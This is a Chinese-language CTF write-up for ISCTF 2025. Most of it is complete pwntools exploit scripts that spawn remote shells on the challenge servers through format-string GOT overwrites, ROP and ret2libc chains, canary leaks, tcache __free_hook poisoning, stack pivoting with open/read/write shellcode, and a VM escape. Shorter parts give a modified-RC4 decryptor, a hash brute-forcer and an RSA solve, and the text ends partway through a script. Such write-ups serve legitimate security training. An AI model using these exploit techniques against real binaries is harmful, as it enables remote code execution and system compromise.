个人打的分如下,pwn的heap?没时间看,赛后才发现挺简单的,之前以为要拿fmt构造栈链,后来发现程序有现成的洞可以打,可惜了

pwn部分

bad_box

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
p = remote('challenge.bluesharkinfo.com', 29035)

main = 0x401275 # main函数地址
shell =0x40125B
exit = 0x403160 # exit的got表
# exit = 0x403190
pay = fmtstr_payload(8,{exit:shell})
#pay = fmtstr_payload(8,{exit:sh})
p.recvuntil('fun')
p.sendline(pay)
p.interactive()

ret2rop

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
p = remote('challenge.bluesharkinfo.com', 25864)
#p = process('./ret2')

rsi = 0x401A18
rsi_rdi = 0x401A21
system = 0x401A39
name = 0x4040F0
ret = 0x40101a
p.sendlineafter(b"demo", b'no')
p.sendlineafter(b'name', b'/bin/sh\x00')
p.recvuntil(b'yourself')
pay = b'a'* 64 + p64(0x20) + p64(0) * 2 +p64(rsi) + p64(0x401593)+p64(rsi) + p64(name) + p64(rsi_rdi)+p64(ret)+ p64(system)
#pay = pay.ljust(0xff, b'\x00')
print(len(pay))
p.send(pay)
p.interactive()


ez2048

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
from pwn import *
context(arch='amd64', os='linux')

def xilker(x, code=95):
return f"\x1b[{code}m{x}\x1b[0m"

# 连接设置
DEBUG = 0
if DEBUG:
# 本地调试
io = process('./ez2048')
# io = gdb.debug('./ez2048', 'b *0x401437')
else:
# 远程连接
io = remote('challenge.bluesharkinfo.com', 28613)

# 地址定义
rdi = 0x40133e # gadget: pop rdi; ret
sh= 0x40300c # "/sh" 字符串地址 (command+4)
system_plt = 0x401170 # system@plt
shell_0 = 0x401343 # shell_0函数 (备用方案)

def play_game():

log.info("开始自动刷分...")
TARGET_SCORE = 100000
round_count = 0

# 等待游戏开始
io.recvuntil(b'input your name\n>')
io.sendline(b'/bin/sh\x00')
io.recvuntil(b'Press "Enter" to start the game')
io.sendline(b'')

while True:
round_count += 1
log.info(f"第 {round_count} 轮游戏")

# 简单策略:循环执行操作
operations = [b'w', b'a', b's', b'd'] * 10

for op in operations:
try:
data = io.recvuntil(b'operation:', timeout=2)

# 检查分数
if b'score:' in data:
try:
score_line = data.split(b'score:')[1].split(b'\n')[0].strip()
current_score = int(score_line)
if current_score >= TARGET_SCORE:
log.success(f"分数达标: {current_score}")
# 输入Q进入final
io.sendline(b'q')
io.recvuntil(b'>')
io.sendline(b'Q')
return
except:
pass

io.sendline(op)

except:
# 游戏结束
data = io.recv(timeout=1)
if b'game over' in data:
log.info("游戏结束")

# 检查分数
if b'your score:' in data:
try:
score_str = data.split(b'your score:')[1].split(b'\n')[0].strip()
current_score = int(score_str)
log.info(f"当前累计分数: {current_score}")

if current_score >= TARGET_SCORE:
# 输入Q进入final
io.recvuntil(b'>')
io.sendline(b'Q')
return
except:
pass

# 继续下一轮,不输入q
io.recvuntil(b'>')
io.sendline(b'd')
break


def exploit():
#gdb.attach(io,'b *0x401437')
pay = b'a' * 135 + b'b' + b'\x0b'
#pay = b'a' *0x98 + p64(rdi) + p64(sh) + p64(0x401355)
io.send(pay)
io.recvuntil(b"b")
canary = u64(io.recv(8)) - 0xb
log.success(xilker("stack_addr-->" + hex(canary)))
pay = b'a' * 136 + p64(canary) + b'aaaaaaaa' + p64(rdi) + p64(0x404A46)+ p64(0x401355)
io.sendline(pay)
#gdb.attach(io,'b *0x401437')
pay = b'exit'
io.sendline(pay)
io.interactive()
def main():
"""主函数 - 完整自动化利用流程"""
try:
# 步骤1: 自动刷分到100000以上
log.info("=" * 50)
log.info("步骤1: 自动刷分")
log.info("=" * 50)
play_game()

# 步骤2: 等待进入final和shell函数
log.info("=" * 50)
log.info("步骤2: 等待进入shell函数")
log.info("=" * 50)
io.recvuntil(b'checking your score...')
data = io.recvuntil(b'here is your shell', timeout=5)
log.success("成功进入shell函数!")

log.info("=" * 50)
log.info("步骤3: 利用栈溢出")
log.info("=" * 50)
exploit()
io.interactive()
except Exception as e:
log.error(f"利用失败: {e}")
log.info("切换到交互模式...")


if __name__ == '__main__':
main()

ezfmt

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67

from pwn import *

binary_path = './fmt'
libc_path = './libc.so.6'

offset_canary_fmt = 23
offset_libc_fmt = 49
offset_pie_fmt = 31


context.log_level = 'debug'
context.arch = 'amd64'
elf = ELF(binary_path)
libc = ELF(libc_path)

# 启动进程 (本地或远程)
p = remote('challenge.bluesharkinfo.com', 23474)
#p = process(binary_path)

p.recvuntil(b"1st input: ")

payload_leak = flat([
f"%{offset_canary_fmt}$p", # 泄露 Canary
"|", # 分隔符
f"%{offset_libc_fmt}$p" # 泄露 Libc 地址
])
#gdb.attach(p, 'b *$rebase(0x1293)')
p.sendline(payload_leak)

# 接收并解析泄露的数据
p.recvuntil(b"0x") # 跳过前面的输出直到第一个 hex
data = p.recvuntil(b"\n[leak end]", drop=True)
leaked_vals = data.split(b"|")

canary = int(leaked_vals[0], 16)
leak_addr = int(leaked_vals[1], 16)

log.success(f"Canary: {hex(canary)}")
log.success(f"Leaked Libc Addr: {hex(leak_addr)}")

libc.address = leak_addr - libc.sym['__libc_start_main'] - 128
log.success(f"Libc Base: {hex(libc.address)}")


# 准备 ROP Gadgets
pop_rdi = libc.address + 0x000000000002a3e5
bin_sh = next(libc.search(b"/bin/sh"))
system = libc.sym['system']
ret = pop_rdi + 1

padding = b'a' * 136

payload = flat([
padding,
canary, )
0,
ret,
pop_rdi,
bin_sh,
system
])

p.recvuntil(b"2nd input: ")
p.send(payload)

p.interactive()

ez_tache

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
from pwn import *
from ctypes import *
context(os='linux', log_level='debug',arch='amd64')
elf = ELF('./pwn2')
libc=ELF('./glibc/libc-2.29.so')
#p=process('./pwn2')
p=remote('challenge.bluesharkinfo.com', 23769)

def xilker(x, code=95):
return f"\x1b[{code}m{x}\x1b[0m"


s = lambda data :p.send(str(data))
sa = lambda delim,data :p.sendafter(str(delim), str(data))
sl = lambda data :p.sendline(str(data))
sla = lambda delim,data :p.sendlineafter(str(delim), str(data))
r = lambda num :p.recv(num)
ru = lambda delims, drop=True :p.recvuntil(delims, drop)
itr = lambda :p.interactive()
uu32 = lambda data :u32(data.ljust(4,b'\x00'))
uu64 = lambda data :u64(data.ljust(8,b'\x00'))
leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))
l64 = lambda :u64(p.recvuntil("\x7f")[-6:].ljust(8,b"\x00"))
l32 = lambda :u32(p.recvuntil("\xf7")[-4:].ljust(4,b"\x00"))


x64_32 = 1

if x64_32:
context.arch = 'amd64'
else:
context.arch = 'i386'



def add(idx,size,content):
sla('choice: ',str(1))
sla('Size: ',str(size))
p.sendlineafter('Content: ',content)

def free(idx):
sla('choice: ',str(2))
sla('Index: ',str(idx))

def show(idx):
sla('choice: ',str(3))
sla('Index: ',str(idx))

def dbg():
gdb.attach(p)
pause()

for i in range(7):
add(i,0x80,b'aaaa')

add(7, 0x80, b'aaaa')
add(8, 0x80, b'aaaa')
add(9, 0x20, b'aaaa')

for i in range(7):
free(i)

free(8) # 主要攻击堆块
show(8)
libc_base=u64(p.recvuntil('\x7f')[-6:].ljust(8,b'\x00')) - 0x1e4ca0
log.success(xilker("libc_base-->" + hex(libc_base)))
free_hook=libc_base+libc.sym["__free_hook"]
log.success(xilker("free_hook-->" + hex(free_hook)))
system_addr=libc_base+libc.sym["system"]
log.success(xilker("system_addr-->" + hex(system_addr)))

free(7) # 辅助攻击堆块, 将他free后会触发unsortdbin合并

add(10, 0x80,b'aaaa')

free(8)

payload = b'a' * 0x80 + p64(0) + p64(0x91) + p64(free_hook)
add(11, 0xa0, payload)
#dbg()
add(12,0x80, b'/bin/sh')
add(13, 0x80, p64(system_addr))
free(12)
p.interactive()

ez_stack

栈迁移+shellcode

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
p = remote('challenge.bluesharkinfo.com', 20612)
#p = process('./stack')

def xilker(x, code=95):
return f"\x1b[{code}m{x}\x1b[0m"

target = 0x114514000
flag = 0x114514100
#rdi =

#gdb.attach(p, 'b *$rebase(0x1717)')
#gdb.attach(p, 'b *$rebase(0x163C)')

p.recvuntil(b'ISCTF2025!')
stager = asm(f'''
mov rsi, {0x114514000}
syscall
''')

stager_len = len(stager)
p.sendline(stager)

p.recvuntil(b'GIFT?\n')
base = u64(p.recv(6).ljust(8, b'\x00')) - 0x184F
log.success(xilker("base-->" + hex(base)))
syscall = base + 0x1175
log.success(xilker("syscall-->" + hex(syscall)))
leave = base + 0x12b0
retaddr = base + 0x189B # 159B
p.recvuntil(b'\n')
stack = u64(p.recv(6).ljust(8, b'\x00')) + 0x30
log.success(xilker("stack_addr-->" + hex(stack)))
pay = b'a' *272 + p64(stack) + p64(retaddr) + p64(target)
pay = pay.ljust(0x300, b'\x00')
p.sendline(pay)

sc = f'mov rsp, {target + 0x200}\n'
sc += shellcraft.open(flag, 0) # open("/flag", O_RDONLY)
sc += shellcraft.read('rax', 'rsp', 0x100) # read(fd, rsp, 0x100)
sc += shellcraft.write(1, 'rsp', 0x100) # write(1, rsp, 0x100)
sc = asm(sc)


pay =(b'\x00' * 12+sc).ljust(0x100, b'\x90') + b'/flag\x00'
p.send(pay)
p.interactive()

ez_canary

thread保证canary不变

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
p = remote('challenge.bluesharkinfo.com', 29049)
#p = process('./pwn')
libc = ELF('./libc.so.6')
def xilker(x, code=95):
return f"\x1b[{code}m{x}\x1b[0m"
ogg = [0xebc81, 0xebc85, 0xebc88, 0xebce2, 0xebd38, 0xebd3f, 0xebd43]
bss = 0x404400

p.recvuntil(b'Please enter your name >>')

pay_leak = b'a' * 328 + b'b'
p.send(pay_leak)
p.recvuntil(b'aaab')
canary_leak = p.recv(7)
canary = u64(b'\x00' + canary_leak)
log.success(xilker("canary-->" + hex(canary)))
sleep(0.5)
#pay = 'aaaa'
pay = b'a' * 264 + p64(canary) + p64(bss) + p64(0x4014C8)
p.sendline(pay)
pay = b'a' * 344
#gdb.attach(p,'b *0x401417 ')
p.recvuntil(b'>>')
p.send(pay)
p.recvuntil(b'a' * 344)
libc_base = u64(p.recv(6).ljust(8, b'\x00')) -0x94ac3
log.success(xilker("libc_base-->" + hex(libc_base)))
p.recvuntil(b'>>')
ogg = libc_base + ogg[5]
libc.address = libc_base
#pay = b'AAAA'
bss1 = libc.bss() + 0x600
pay = b'a' * 264 + p64(canary) +p64(bss1)+ p64(ogg)
p.send(pay)
p.interactive()


heap?

fmt漏洞+ret2libc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
from pwn import *
binary_path = './pwn'
libc_path = './libc.so.6'
ip = 'challenge.bluesharkinfo.com'
port = 28176
context.binary = binary_path
context.log_level = 'debug'

def xilker(x, code=95):
return f"\x1b[{code}m{x}\x1b[0m"

def start():
if args.GDB:
return process(binary_path)
if args.REMOTE:
return remote(ip, port)
return process(binary_path)

elf = ELF(binary_path)
libc = ELF(libc_path)

p = start()
s = lambda data : p.send(data)
sa = lambda text, data : p.sendafter(text, data)
sl = lambda data : p.sendline(data)
sla = lambda text, data : p.sendlineafter(text, data)
r = lambda num : p.recv(num)
rl = lambda : p.recvline()
ru = lambda text : p.recvuntil(text)
uu32 = lambda data : u32(data.ljust(4, b'\0'))
uu64 = lambda data : u64(data.ljust(8, b'\0'))
i2b = lambda num : str(num).encode()

def add(size, content):
sla(b'> ', b'1')
sla(b'> ', i2b(size))
sla(b'> ', content)
# ru(b'OK!')

def delete(idx):
sla(b'> ', b'2')
sla(b'> ', i2b(idx))

def show(idx):
sla(b'> ', b'3')
sla(b'> ', i2b(idx))

gadget=[0xebc81,0xebc85,0xebc88,0xebce2,0xebd38,0xebd3f,0xebd43]
fmt_payload = b'%33$p-%7$p'
add(0x100, fmt_payload)
#gdb.attach(p, "b *$rebase(0x162d)")
show(0)
libc_base = int(p.recv(14), 16) - libc.sym['__libc_start_main'] - 128
log.success(xilker("libc_base-->" + hex(libc_base)))
libc.address = libc_base
system_addr = libc.sym['system']
bin_sh = next(libc.search(b'/bin/sh\x00'))
log.success(xilker("system-->" + hex(system_addr)))
rdi = libc.address + 0x2a3e5
ret = libc.address + 0x29139
ru(b'-0x')
canary = int(p.recv(16), 16)
log.success(xilker("canary-->" + hex(canary)))

delete(256)
pay = b'a' *0x10 + p64(canary) + b'a' *8 + p64(rdi) + p64(bin_sh)+ p64(ret)+ p64(system_addr)
p.sendline(pay)
p.interactive()

p.interactive()

heap?

fmt+ret2libc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
from pwn import *
binary_path = './pwn'
libc_path = './libc.so.6'
ip = 'challenge.bluesharkinfo.com'
port = 28176
context.binary = binary_path
context.log_level = 'debug'

def xilker(x, code=95):
return f"\x1b[{code}m{x}\x1b[0m"

def start():
if args.GDB:
return process(binary_path)
if args.REMOTE:
return remote(ip, port)
return process(binary_path)

elf = ELF(binary_path)
libc = ELF(libc_path)

p = start()
s = lambda data : p.send(data)
sa = lambda text, data : p.sendafter(text, data)
sl = lambda data : p.sendline(data)
sla = lambda text, data : p.sendlineafter(text, data)
r = lambda num : p.recv(num)
rl = lambda : p.recvline()
ru = lambda text : p.recvuntil(text)
uu32 = lambda data : u32(data.ljust(4, b'\0'))
uu64 = lambda data : u64(data.ljust(8, b'\0'))
i2b = lambda num : str(num).encode()

def add(size, content):
sla(b'> ', b'1')
sla(b'> ', i2b(size))
sla(b'> ', content)
# ru(b'OK!')

def delete(idx):
sla(b'> ', b'2')
sla(b'> ', i2b(idx))

def show(idx):
sla(b'> ', b'3')
sla(b'> ', i2b(idx))

gadget=[0xebc81,0xebc85,0xebc88,0xebce2,0xebd38,0xebd3f,0xebd43]
fmt_payload = b'%33$p-%7$p'
add(0x100, fmt_payload)
#gdb.attach(p, "b *$rebase(0x162d)")
show(0)
libc_base = int(p.recv(14), 16) - libc.sym['__libc_start_main'] - 128
log.success(xilker("libc_base-->" + hex(libc_base)))
libc.address = libc_base
system_addr = libc.sym['system']
bin_sh = next(libc.search(b'/bin/sh\x00'))
log.success(xilker("system-->" + hex(system_addr)))
rdi = libc.address + 0x2a3e5
ret = libc.address + 0x29139
ru(b'-0x')
canary = int(p.recv(16), 16)
log.success(xilker("canary-->" + hex(canary)))

delete(256)
pay = b'a' *0x10 + p64(canary) + b'a' *8 + p64(rdi) + p64(bin_sh)+ p64(ret)+ p64(system_addr)
p.sendline(pay)
p.interactive()

p.interactive()

myvm

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
from pwn import *
context(os='linux', arch='amd64', log_level='debug')


libc = ELF('./libc.so.6')

def encode_inst(opcode, dest, src1, src2):
if dest < 0: dest &= 0xFF
if src1 < 0: src1 &= 0xFF
if src2 < 0: src2 &= 0xFF
val = opcode + (dest << 8) + (src1 << 16) + (src2 << 24)
return str(val).encode()


xor_ = 0
REG_ONE = 1
tmp = 2
leak_libc = 3
stack = 4
canary = 5
reg_rop = 6
stderr = -4

def exploit():
#p = process('./vm')
p = remote('challenge.imxbt.cn', 31306)
def send_cmd(opcode, dest, src1, src2):
p.sendline(encode_inst(opcode, dest, src1, src2))

def set_reg(reg, val):
send_cmd(6, reg, reg, reg)
if val == 0: return
bits = bin(val)[2:]
for char in bits:
send_cmd(0, reg, reg, reg)
if char == '1':
send_cmd(0, reg, reg, REG_ONE)

# 1. Leak Libc
send_cmd(6, xor_, xor_, xor_)
send_cmd(0, leak_libc, stderr, xor_)
send_cmd(3, REG_ONE, leak_libc, leak_libc)

# 2. Leak Canary
for _ in range(513):
send_cmd(7, xor_, 0, 0)
send_cmd(8, canary, 0, 0)

send_cmd(7, xor_, 0, 0)
send_cmd(7, canary, 0, 0)
send_cmd(8, stack, 0, 0) #


libc_stderr = 0x21b6a0

try:
rdi = next(libc.search(asm('pop rdi; ret'), executable=True))
rsi = next(libc.search(asm('pop rsi; ret'), executable=True))
rdx = next(libc.search(asm('pop rdx; pop rbx; ret'), executable=True))
rax = next(libc.search(asm('pop rax; ret'), executable=True))
syscall = next(libc.search(asm('syscall; ret'), executable=True))
except:
log.error("Gadgets not found")
return

# Deltas
delta_rdi = rdi - libc_stderr
delta_rsi = rsi - libc_stderr
delta_rdx = rdx - libc_stderr
delta_rax = rax - libc_stderr
delta_syscall = syscall - libc_stderr

# Buffer in Libc (using space after stderr)
# stderr is at 0x1ec6a0. Let's use +0x500.
delta_buffer = 0x500

def apply_offset(reg_base, delta):
set_reg(reg_rop, abs(delta))
if delta > 0:
send_cmd(0, reg_base, reg_base, reg_rop)
else:
send_cmd(1, reg_base, reg_base, reg_rop)

def push_gadget(delta):
send_cmd(6, tmp, tmp, tmp) # Clear tmp
send_cmd(0, tmp, leak_libc, xor_) # tmp = leak_libc
apply_offset(tmp, delta)
send_cmd(7, tmp, 0, 0)

def push_val(val):
set_reg(tmp, val)
send_cmd(7, tmp, 0, 0)

# Helper to push the buffer address (libc + delta_buffer)
def push_buffer_addr():
send_cmd(6, tmp, tmp, tmp)
send_cmd(0, tmp, leak_libc, xor_)
apply_offset(tmp, delta_buffer)
send_cmd(7, tmp, 0, 0)

# Restore stack state for ROP
send_cmd(7, canary, 0, 0)
send_cmd(7, stack, 0, 0)

# --- ROP Chain ---

# 1. Read "flag\0" into Libc Buffer
# read(0, buffer, 0x10)
push_gadget(delta_rdi)
push_val(0) # fd = 0 (stdin)

push_gadget(delta_rsi)
push_buffer_addr() # buf = libc_buffer

push_gadget(delta_rdx)
push_val(0x10) # size
push_val(0) # garbage for rbx

push_gadget(delta_rax)
push_val(0) # SYS_read

push_gadget(delta_syscall)

# 2. Open("flag", 0)
# open(buffer, 0)
push_gadget(delta_rdi)
push_buffer_addr() # filename = libc_buffer

push_gadget(delta_rsi)
push_val(0) # flags = 0

push_gadget(delta_rax)
push_val(2) # SYS_open

push_gadget(delta_syscall)

# 3. Read(3, buffer, 0x100)
push_gadget(delta_rdi)
push_val(3) # fd

push_gadget(delta_rsi)
push_buffer_addr() # buf

push_gadget(delta_rdx)
push_val(0x100)
push_val(0)

push_gadget(delta_rax)
push_val(0) # SYS_read

push_gadget(delta_syscall)
# 4. Write(1, buffer, 0x100)
push_gadget(delta_rdi)
push_val(1) # fd
push_gadget(delta_rsi)
push_buffer_addr()
push_gadget(delta_rdx)
push_val(0x100)
push_val(0)
push_gadget(delta_rax)
push_val(1) # SYS_write

push_gadget(delta_syscall)
# Trigger
send_cmd(9, 0, 0, 0)

# Send "flag" string for the first read
p.sendline(b"flag\x00")

p.interactive()

if __name__ == "__main__":
exploit()

re部分

MysteriousStream

打开同目录的payload.dat作为密文文件,然后用rc4加密,在用key进行异或处理,解密使用逆操作,先异或,然后rc4解密处理就行,注意rc4是一个魔改的

RC4函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
import os


def rc4_variant_crypt(data, key):
"""
魔改版 RC4 算法
魔改点:KSA 初始化时加入 (i & 0xAA)
"""
# 1. 初始化 S 盒
S = list(range(256))
j = 0

# --- KSA (Key Scheduling Algorithm) ---
# 对应 C 代码中的第一个循环
for i in range(256):
# 魔改点: (i & 0xAA)
j = ((i & 0xAA) + j + S[i] + key[i % len(key)]) % 256
S[i], S[j] = S[j], S[i] # Swap

# --- PRGA (Pseudo-Random Generation Algorithm) ---
# 对应 C 代码中的第二个循环 (核心加解密)
i = 0
j = 0
res = bytearray(data) # 复制一份数据用于操作

for idx in range(len(res)):
i = (i + 1) % 256
j = (j + S[i]) % 256
S[i], S[j] = S[j], S[i] # Swap

# 生成密钥流 k
t = (S[i] + S[j]) % 256
k = S[t]

# 异或运算
res[idx] ^= k

return res


def xor_crypt(data, key):
"""
简单的循环 XOR 算法
"""
res = bytearray(data)
key_len = len(key)
for i in range(len(res)):
res[i] ^= key[i % key_len]
return res


def main():
filename = "payload.dat"
output_filename = "payload.dec"

# 检查文件是否存在
if not os.path.exists(filename):
print(f"[-] 错误: 找不到文件 {filename}")
return

print(f"[+] 正在读取 {filename}...")
with open(filename, "rb") as f:
file_data = f.read()

# ================= 密钥提取 =================
# 原始字符串: "P4ssXORSecr3tK3y!"
full_key_source = b"P4ssXORSecr3tK3y!"

# RC4 Key: 偏移7,长度10 -> "Secr3tK3y!"
rc4_key = full_key_source[7:7 + 10]

# XOR Key: 偏移0,模7 -> "P4ssXOR"
xor_key = full_key_source[0:7]

print(f"[+] RC4 Key: {rc4_key}")
print(f"[+] XOR Key: {xor_key}")

# ================= 解密流程 =================
# 根据 C 代码逻辑:先做 RC4,再做 XOR
# 由于都是异或运算,理论上顺序不影响结果,但建议保持和 Loader 一致

print("[+] 执行魔改 RC4 解密...")
step1_data = rc4_variant_crypt(file_data, rc4_key)

print("[+] 执行循环 XOR 解密...")
final_data = xor_crypt(step1_data, xor_key)

# ================= 保存结果 =================
with open(output_filename, "wb") as f:
f.write(final_data)

print(f"[+] 解密完成!已保存为: {output_filename}")


if __name__ == "__main__":
main()

ELF

python编译特征

反编译的python代码在进行交换的部分是反编译错误的,原本的逻辑应该是

result[i], result[swap_index] = result[swap_index], result[i]

但是题目中反编译成了,这会直接导致数据的丢失

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
import hashlib
import base64
import random
import string
import itertools

# 题目给出的完整密文
encrypted_flag = '8d13c398b72151b1dad78762553dbbd59dba9b0b2330b03b401ea4f2a6d4731d479220fe900b520f6b4753667fe1cdf9eff8d3b833a0013c4083fa1ad27d056486702bda245f3c1aa0fbf84b237d8f2dec9a80791fe66625adfe3669419a104cbb67293eaada20f79cebf69d84d326025dd35dec09a2c97ad838efa5beba9e72'

def Rep(hash_data):
"""
修正后的混淆函数:使用正确的元素交换 (a,b = b,a)
"""
random.seed(161)
result = list(hash_data)
for i in range(len(result) - 1, 0, -1):
swap_index = random.randint(0, i)

result[i], result[swap_index] = result[swap_index], result[i]
return ''.join(result)

def get_enc(input_str):
try:
# Base64 编码
c2b = base64.b64encode(input_str.encode('utf-8'))
# MD5 哈希
md5_hash = hashlib.md5(c2b).hexdigest()
# 混淆
return Rep(md5_hash)
except:
return None

def solve():
print("[-] 逻辑确认,开始全速爆破 Flag...")
chunks = [encrypted_flag[i:i+32] for i in range(0, len(encrypted_flag), 32)]

# 字符集:数字 + 字母 + 常见符号
charset = string.digits + string.ascii_letters + string.punctuation

final_flag = ""

for i, target_chunk in enumerate(chunks):
found = False

# 针对最后一块的优化:已知以 '}' 结尾
if i == 7:
# 只爆破前两位,最后一位固定为 '}'
iterator = ((c1, c2, '}') for c1 in charset for c2 in charset)
else:
# 其他块全量爆破 3 位
iterator = itertools.product(charset, repeat=3)

for p in iterator:
try_str = "".join(p)
if get_enc(try_str) == target_chunk:
final_flag += try_str
print(f"[+] Block {i+1}/8 Found: {try_str}")
found = True
break

if not found:
print(f"[!] Block {i+1} 爆破失败,可能包含特殊不可见字符。")
# 如果失败,不中断,继续跑下一块试试
final_flag += "???"

print("\n" + "="*40)
print(f"FINAL FLAG: {final_flag}")
print("="*40)

if __name__ == '__main__':
solve()

crypto

ai梭的

easy_RSA:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
from Crypto.Util.number import *

p = getPrime(1024)

q = getPrime(1024)

N = p*q

e = 65537

msg = bytes_to_long(b"ISCTF{dummy_flag}")

ct1 = pow(msg, e, N)

ct2 = pow(msg, p+q, N)

print(f"{N = }")

print(f"{ct1 = }")

print(f"{ct2 = }")

"""
N = 17630258257080557797062320474423515967705950026415012912087655679315479168903980901728425140787005046038000068414269936806478828260848859753400786557270120330760791255046985114127285672634413513991988895166115794242018674042563788348381567565190146278040811257757119090296478610798393944581870309373529884950663990485525646200034220648901490835962964029936321155200390798215987316069871958913773199197073860062515329879288106446016695204426001393566351524023857332978260894409698596465474214898402707157933326431896629025197964209580991821222557663589475589423032130993456522178540455360695933336455068507071827928617
ct1 = 5961639119243884817956362325106436035547108981120248145301572089585639543543496627985540773185452108709958107818159430835510386993354596106366458898765597405461225798615020342640056386757104855709899089816838805631480329264128349465229327090721088394549641366346516133008681155817222994359616737681983784274513555455340301061302815102944083173679173923728968671113926376296481298323500774419099682647601977970777260084799036306508597807029122276595080580483336115458713338522372181732208078117809553781889555191883178157241590455408910096212697893247529197116309329028589569527960811338838624831855672463438531266455
ct2 = 11792054298654397865983651507912282632831471680334312509918945120797862876661899077559686851237832931501121869814783150387308320349940383857026679141830402807715397332316601439614741315278033853646418275632174160816784618982743834204997402866931295619202826633629690164429512723957241072421663170829944076753483616865208617479794763412611604625495201470161813033934476868949612651276104339747165276204945125001274777134529491152840672010010940034503257315555511274325831684793040209224816879778725612468542758777428888563266233284958660088175139114166433501743740034567850893745466521144371670962121062992082312948789
"""

$ ct_1 \equiv m^e \pmod N $

$ ct_2 \equiv m^{p+q} \pmod N $

我们需要利用 $ ct_2 $ 的指数 $ p+q $ 和 RSA 的欧拉函数 $ \varphi(N) $ 之间的关系。

已知 $ N = p \cdot q $,欧拉函数为 $ \varphi(N) = (p-1)(q-1) = N - (p+q) + 1 $。

由此可以推导出:$$ p+q = N + 1 - \varphi(N) $

我们需要找到两个值使得s_1, s_2

$ 满足: $$ s_1 \cdot e + s_2 \cdot (N+1) = 1 $$ 通过扩展欧几里得算法求出 $s_1, s_2$ 后,即可恢复明文: $$ m \equiv ct_1^{s_1} \cdot ct_2^{s_2} \pmod N $$

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
from Crypto.Util.number import long_to_bytes

# 题目给出的数据
N = 17630258257080557797062320474423515967705950026415012912087655679315479168903980901728425140787005046038000068414269936806478828260848859753400786557270120330760791255046985114127285672634413513991988895166115794242018674042563788348381567565190146278040811257757119090296478610798393944581870309373529884950663990485525646200034220648901490835962964029936321155200390798215987316069871958913773199197073860062515329879288106446016695204426001393566351524023857332978260894409698596465474214898402707157933326431896629025197964209580991821222557663589475589423032130993456522178540455360695933336455068507071827928617
ct1 = 5961639119243884817956362325106436035547108981120248145301572089585639543543496627985540773185452108709958107818159430835510386993354596106366458898765597405461225798615020342640056386757104855709899089816838805631480329264128349465229327090721088394549641366346516133008681155817222994359616737681983784274513555455340301061302815102944083173679173923728968671113926376296481298323500774419099682647601977970777260084799036306508597807029122276595080580483336115458713338522372181732208078117809553781889555191883178157241590455408910096212697893247529197116309329028589569527960811338838624831855672463438531266455
